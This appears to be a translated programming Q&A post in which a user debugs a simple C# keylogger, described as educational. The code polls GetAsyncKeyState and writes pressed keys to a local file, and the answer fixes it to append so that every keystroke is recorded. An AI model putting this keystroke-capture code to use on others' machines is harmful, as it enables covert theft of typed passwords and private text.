为什么只记录一次?

时间:2017-10-19 14:23:35

标签: c# keylogger

您好我正在为教育目的创建简单的键盘记录器,我偶然发现了一些我不知道如何修复的错误

static void WriteLogs(char key)
    {
        StreamWriter file = new StreamWriter(@"C:\Users\Bartek\Desktop\asynckey test\asynckey test\test.txt");

        file.Write(key);

        file.Close();
    }

    static void CatchKeys()
    {
        char key;
        while (true)
        {
            Thread.Sleep(20);

            for (key = (char)8; key <= 190; key++)
            {
                if (GetAsyncKeyState((System.Windows.Forms.Keys)key) == -32768)
                {
                    Console.WriteLine("Logging");
                    WriteLogs(key);
                }
            }
        }
    }

它只记录1个字符到文件,然后循环继续但不记录

1 个答案:

答案 0 :(得分:1)

尝试追加而不是覆盖:

StreamWriter file = new StreamWriter(
    @"C:\Users\Bartek\Desktop\asynckey test\asynckey test\test.txt", 
    true);   // <- appending instead of recreating
相关问题